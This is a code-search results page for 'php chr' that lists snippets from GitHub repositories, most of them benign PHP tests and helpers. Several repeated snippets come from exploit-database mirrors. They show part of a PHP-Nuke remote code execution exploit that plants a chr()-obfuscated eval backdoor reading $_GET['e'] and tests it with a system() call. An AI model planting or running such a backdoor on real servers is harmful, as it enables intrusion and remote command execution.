PageRenderTime 33ms queryFilters 2ms Sphinxql 1877ms GetByIds 400ms meta 0ms repositoryFilters 11ms languageFilters 0ms sourceFilters 2ms

173,263 results for 'php chr repo:schmunk42/yii-bootstrap' (33 ms)

Source

Language

Repository

test.PHPCLI.php https://github.com/costinu/cms.git | PHP | 136 lines
30{
31    public function PHPCLI() { parent::AbstractTest("PHP Command Line", "Testing PHP command line (default is php)"); }
32    public function doTest()
39        }
40        $windows = (PHP_OS == "WIN32" || PHP_OS == "WINNT" || PHP_OS == "Windows");
41
72        $testScript = AJXP_CACHE_DIR."/cli_test.php";
73        file_put_contents($testScript, "<?php file_put_contents('".$robustCacheDir.DIRECTORY_SEPARATOR."cli_result.php', 'cli'); ?>");
74
78            /* Next 2 lines modified by rmeske: Need to wrap the folder and file paths in double quotes.  */
79            $cmd = $defaultCli." ". chr(34).$robustCacheDir .DIRECTORY_SEPARATOR."cli_test.php".chr(34);
80            $cmd .= " > ".chr(34).$logFile.chr(34);
87                $tmpBat = implode(DIRECTORY_SEPARATOR, array(str_replace("/", DIRECTORY_SEPARATOR, AJXP_INSTALL_PATH), "data","tmp", md5(time()).".bat"));
88                $cmd .= "\n DEL ".chr(34).$tmpBat.chr(34);
89                file_put_contents($tmpBat, $cmd);
TokenizerTest.php https://github.com/prateeksachan/search-api-sandbox.git | PHP | 308 lines
195  /**
196   * Like PHP chr() function, but for unicode characters.
197   *
197   *
198   * chr() only works for ASCII characters up to character 255. This function
199   * converts a number to the corresponding unicode character. Adapted from
207    if ($num < 2048) {
208      return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
209    }
211    if ($num < 65536) {
212      return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
213    }
215    if ($num < 2097152) {
216      return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
217    }
class.AJXP_Controller.php https://github.com/costinu/cms.git | PHP | 580 lines
328        $robustInstallPath = str_replace("/", DIRECTORY_SEPARATOR, AJXP_INSTALL_PATH);
329        $cmd = ConfService::getCoreConf("CLI_PHP")." ".$robustInstallPath.DIRECTORY_SEPARATOR."cmd.php -u=$user -t=$token -a=$actionName -r=$currentRepositoryId";
330        /* Inserted next 3 lines to quote the command if in windows - rmeske*/
331        if (PHP_OS == "WIN32" || PHP_OS == "WINNT" || PHP_OS == "Windows") {
332            $cmd = ConfService::getCoreConf("CLI_PHP")." ".chr(34).$robustInstallPath.DIRECTORY_SEPARATOR."cmd.php".chr(34)." -u=$user -t=$token -a=$actionName -r=$currentRepositoryId";
333        }
351        /*
352        if (PHP_OS == "WIN32" || PHP_OS == "WINNT" || PHP_OS == "Windows") {
353            if(AJXP_SERVER_DEBUG) $cmd .= " > ".$logFile;
358                $tmpBat = implode(DIRECTORY_SEPARATOR, array( $robustInstallPath, "data","tmp", md5(time()).".bat"));
359                $cmd .= "\n DEL ".chr(34).$tmpBat.chr(34);
360                AJXP_Logger::debug("Writing file $cmd to $tmpBat");
378    {
379        if (PHP_OS == "WIN32" || PHP_OS == "WINNT" || PHP_OS == "Windows") {
380              if(AJXP_SERVER_DEBUG) $cmd .= " > ".$logFile;
stripslashes_variation2.php git://github.com/facebook/hiphop-php.git | PHP | 103 lines
49                    'he said, ""he will be on leave"',
50                    '"""PHP"""',
51                    "",
65                    'hello'.chr(0).'world',
66                    chr(0).'hello'.chr(0),
67                    chr(0).chr(0).'hello',
67                    chr(0).chr(0).'hello',
68                    chr(0),
69
72                    "'\\0.0.0.0'".chr(0),
73                    chr(0)."'c:\php\'",
74                    '"\\0.0.0.0"',
74                    '"\\0.0.0.0"',
75                    '"c:\php\"'.chr(0)."'",
76                    '"hello"'."'world'".chr(0).'//',
addslashes_variation2.php git://github.com/facebook/hiphop-php.git | PHP | 85 lines
38                    'he said, ""he will be on leave"',
39                    '"""PHP"""',
40                    "",
52                    'hello'.chr(0).'world',
53                    chr(0).'hello'.chr(0),
54                    chr(0).chr(0).'hello',
54                    chr(0).chr(0).'hello',
55                    chr(0),
56
59                    "'\\0.0.0.0'".chr(0),
60                    chr(0)."'c:\php\'",
61                    '"\\0.0.0.0"',
61                    '"\\0.0.0.0"',
62                    '"c:\php\"'.chr(0)."'",
63                    '"hello"'."'world'".chr(0).'//',
chr.html git://github.com/kvz/phpjs.git | HTML | 53 lines
20layout: function
21title: PHP's chr in JavaScript
22description: >-
23  Here’s what our current JavaScript equivalent to <a
24  href="https://php.net/manual/en/function.chr.php">PHP's chr</a> looks like.
25function: chr
27language: php
28permalink: php/strings/chr/
29alias:
31  - /functions/strings/chr/
32  - /php/chr/
33  - /functions/chr/
35{% codeblock lang:javascript %}module.exports = function chr (codePt) {
36  //  discuss at: https://locutus.io/php/chr/
37  // original by: Kevin van Zonneveld (https://kvz.io)
chr.html https://github.com/andriuspetrauskis/phpjs.git | HTML | 53 lines
20layout: function
21title: PHP's chr in JavaScript
22description: >-
23  Here’s what our current JavaScript equivalent to <a
24  href="http://php.net/manual/en/function.chr.php">PHP's chr</a> looks like.
25function: chr
27language: php
28permalink: php/strings/chr/
29alias:
31  - /functions/strings/chr/
32  - /php/chr/
33  - /functions/chr/
35{% codeblock lang:javascript %}module.exports = function chr (codePt) {
36  //  discuss at: http://locutus.io/php/chr/
37  // original by: Kevin van Zonneveld (http://kvz.io)
12510.php https://github.com/B-Rich/fullypwnd.git | PHP | 548 lines
475            //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.
476            $backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])';
477            //Install the backdoor in a relitive directory.
477            //Install the backdoor in a relitive directory.
478            $backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));';
479            //charEncode is used to bypass XSS filters.
496        //test if the backdoor works,  try and clean up after the exploit.
497        $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');"));
498        if(strstr($test_backdoor,"31337")){
498        if(strstr($test_backdoor,"31337")){
499            print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n";
500        }else{
503    }else{
504        ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.
505        print "PHP-Nuke 7 detected.\n";
12510.php https://github.com/B-Rich/exploit-database.git | PHP | 548 lines
475            //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.
476            $backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])';
477            //Install the backdoor in a relitive directory.
477            //Install the backdoor in a relitive directory.
478            $backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));';
479            //charEncode is used to bypass XSS filters.
496        //test if the backdoor works,  try and clean up after the exploit.
497        $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');"));
498        if(strstr($test_backdoor,"31337")){
498        if(strstr($test_backdoor,"31337")){
499            print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n";
500        }else{
503    }else{
504        ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.
505        print "PHP-Nuke 7 detected.\n";
39922_0.php https://github.com/B-Rich/osf_db.git | PHP | 549 lines
475            //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.
476            $backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])';
477            //Install the backdoor in a relitive directory.
477            //Install the backdoor in a relitive directory.
478            $backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));';
479            //charEncode is used to bypass XSS filters.
496        //test if the backdoor works,  try and clean up after the exploit.
497        $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');"));
498        if(strstr($test_backdoor,"31337")){
498        if(strstr($test_backdoor,"31337")){
499            print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n";
500        }else{
503    }else{
504        ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.
505        print "PHP-Nuke 7 detected.\n";
12510.php https://github.com/Bronx205/exploit-database.git | PHP | 548 lines
475            //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.
476            $backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])';
477            //Install the backdoor in a relitive directory.
477            //Install the backdoor in a relitive directory.
478            $backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));';
479            //charEncode is used to bypass XSS filters.
496        //test if the backdoor works,  try and clean up after the exploit.
497        $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');"));
498        if(strstr($test_backdoor,"31337")){
498        if(strstr($test_backdoor,"31337")){
499            print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n";
500        }else{
503    }else{
504        ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.
505        print "PHP-Nuke 7 detected.\n";
addslashes_variation2.php https://github.com/abhiskaushik/hhvm.git | PHP | 85 lines
1<?php
2/* Prototype  : string addslashes ( string $str )
38                    'he said, ""he will be on leave"',
39                    '"""PHP"""',
40                    "",
52                    'hello'.chr(0).'world',
53                    chr(0).'hello'.chr(0),
54                    chr(0).chr(0).'hello',
54                    chr(0).chr(0).'hello',
55                    chr(0),
56
59                    "'\\0.0.0.0'".chr(0),
60                    chr(0)."'c:\php\'",
61                    '"\\0.0.0.0"',
61                    '"\\0.0.0.0"',
62                    '"c:\php\"'.chr(0)."'",
63                    '"hello"'."'world'".chr(0).'//',
stripslashes_variation2.php https://github.com/abhiskaushik/hhvm.git | PHP | 103 lines
1<?php
2/* Prototype  : string stripslashes ( string $str )
49                    'he said, ""he will be on leave"',
50                    '"""PHP"""',
51                    "",
65                    'hello'.chr(0).'world',
66                    chr(0).'hello'.chr(0),
67                    chr(0).chr(0).'hello',
67                    chr(0).chr(0).'hello',
68                    chr(0),
69
72                    "'\\0.0.0.0'".chr(0),
73                    chr(0)."'c:\php\'",
74                    '"\\0.0.0.0"',
74                    '"\\0.0.0.0"',
75                    '"c:\php\"'.chr(0)."'",
76                    '"hello"'."'world'".chr(0).'//',
addslashes_variation2.php https://github.com/agoglev/hhvm.git | PHP | 85 lines
1<?php
2/* Prototype  : string addslashes ( string $str )
38                    'he said, ""he will be on leave"',
39                    '"""PHP"""',
40                    "",
52                    'hello'.chr(0).'world',
53                    chr(0).'hello'.chr(0),
54                    chr(0).chr(0).'hello',
54                    chr(0).chr(0).'hello',
55                    chr(0),
56
59                    "'\\0.0.0.0'".chr(0),
60                    chr(0)."'c:\php\'",
61                    '"\\0.0.0.0"',
61                    '"\\0.0.0.0"',
62                    '"c:\php\"'.chr(0)."'",
63                    '"hello"'."'world'".chr(0).'//',
stripslashes_variation2.php https://github.com/agoglev/hhvm.git | PHP | 103 lines
1<?php
2/* Prototype  : string stripslashes ( string $str )
49                    'he said, ""he will be on leave"',
50                    '"""PHP"""',
51                    "",
65                    'hello'.chr(0).'world',
66                    chr(0).'hello'.chr(0),
67                    chr(0).chr(0).'hello',
67                    chr(0).chr(0).'hello',
68                    chr(0),
69
72                    "'\\0.0.0.0'".chr(0),
73                    chr(0)."'c:\php\'",
74                    '"\\0.0.0.0"',
74                    '"\\0.0.0.0"',
75                    '"c:\php\"'.chr(0)."'",
76                    '"hello"'."'world'".chr(0).'//',
addslashes_variation2.php https://github.com/andriuspetrauskis/hiphop-php.git | PHP | 85 lines
1<?php
2/* Prototype  : string addslashes ( string $str )
38                    'he said, ""he will be on leave"',
39                    '"""PHP"""',
40                    "",
52                    'hello'.chr(0).'world',
53                    chr(0).'hello'.chr(0),
54                    chr(0).chr(0).'hello',
54                    chr(0).chr(0).'hello',
55                    chr(0),
56
59                    "'\\0.0.0.0'".chr(0),
60                    chr(0)."'c:\php\'",
61                    '"\\0.0.0.0"',
61                    '"\\0.0.0.0"',
62                    '"c:\php\"'.chr(0)."'",
63                    '"hello"'."'world'".chr(0).'//',
stripslashes_variation2.php https://github.com/andriuspetrauskis/hiphop-php.git | PHP | 103 lines
1<?php
2/* Prototype  : string stripslashes ( string $str )
49                    'he said, ""he will be on leave"',
50                    '"""PHP"""',
51                    "",
65                    'hello'.chr(0).'world',
66                    chr(0).'hello'.chr(0),
67                    chr(0).chr(0).'hello',
67                    chr(0).chr(0).'hello',
68                    chr(0),
69
72                    "'\\0.0.0.0'".chr(0),
73                    chr(0)."'c:\php\'",
74                    '"\\0.0.0.0"',
74                    '"\\0.0.0.0"',
75                    '"c:\php\"'.chr(0)."'",
76                    '"hello"'."'world'".chr(0).'//',
addslashes_variation2.php https://github.com/bcbod2002/hhvm.git | PHP | 85 lines
1<?php
2/* Prototype  : string addslashes ( string $str )
38                    'he said, ""he will be on leave"',
39                    '"""PHP"""',
40                    "",
52                    'hello'.chr(0).'world',
53                    chr(0).'hello'.chr(0),
54                    chr(0).chr(0).'hello',
54                    chr(0).chr(0).'hello',
55                    chr(0),
56
59                    "'\\0.0.0.0'".chr(0),
60                    chr(0)."'c:\php\'",
61                    '"\\0.0.0.0"',
61                    '"\\0.0.0.0"',
62                    '"c:\php\"'.chr(0)."'",
63                    '"hello"'."'world'".chr(0).'//',
stripslashes_variation2.php https://github.com/bcbod2002/hhvm.git | PHP | 103 lines
1<?php
2/* Prototype  : string stripslashes ( string $str )
49                    'he said, ""he will be on leave"',
50                    '"""PHP"""',
51                    "",
65                    'hello'.chr(0).'world',
66                    chr(0).'hello'.chr(0),
67                    chr(0).chr(0).'hello',
67                    chr(0).chr(0).'hello',
68                    chr(0),
69
72                    "'\\0.0.0.0'".chr(0),
73                    chr(0)."'c:\php\'",
74                    '"\\0.0.0.0"',
74                    '"\\0.0.0.0"',
75                    '"c:\php\"'.chr(0)."'",
76                    '"hello"'."'world'".chr(0).'//',
addslashes_variation2.php https://github.com/beenanner/hhvm.git | PHP | 85 lines
1<?php
2/* Prototype  : string addslashes ( string $str )
38                    'he said, ""he will be on leave"',
39                    '"""PHP"""',
40                    "",
52                    'hello'.chr(0).'world',
53                    chr(0).'hello'.chr(0),
54                    chr(0).chr(0).'hello',
54                    chr(0).chr(0).'hello',
55                    chr(0),
56
59                    "'\\0.0.0.0'".chr(0),
60                    chr(0)."'c:\php\'",
61                    '"\\0.0.0.0"',
61                    '"\\0.0.0.0"',
62                    '"c:\php\"'.chr(0)."'",
63                    '"hello"'."'world'".chr(0).'//',
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21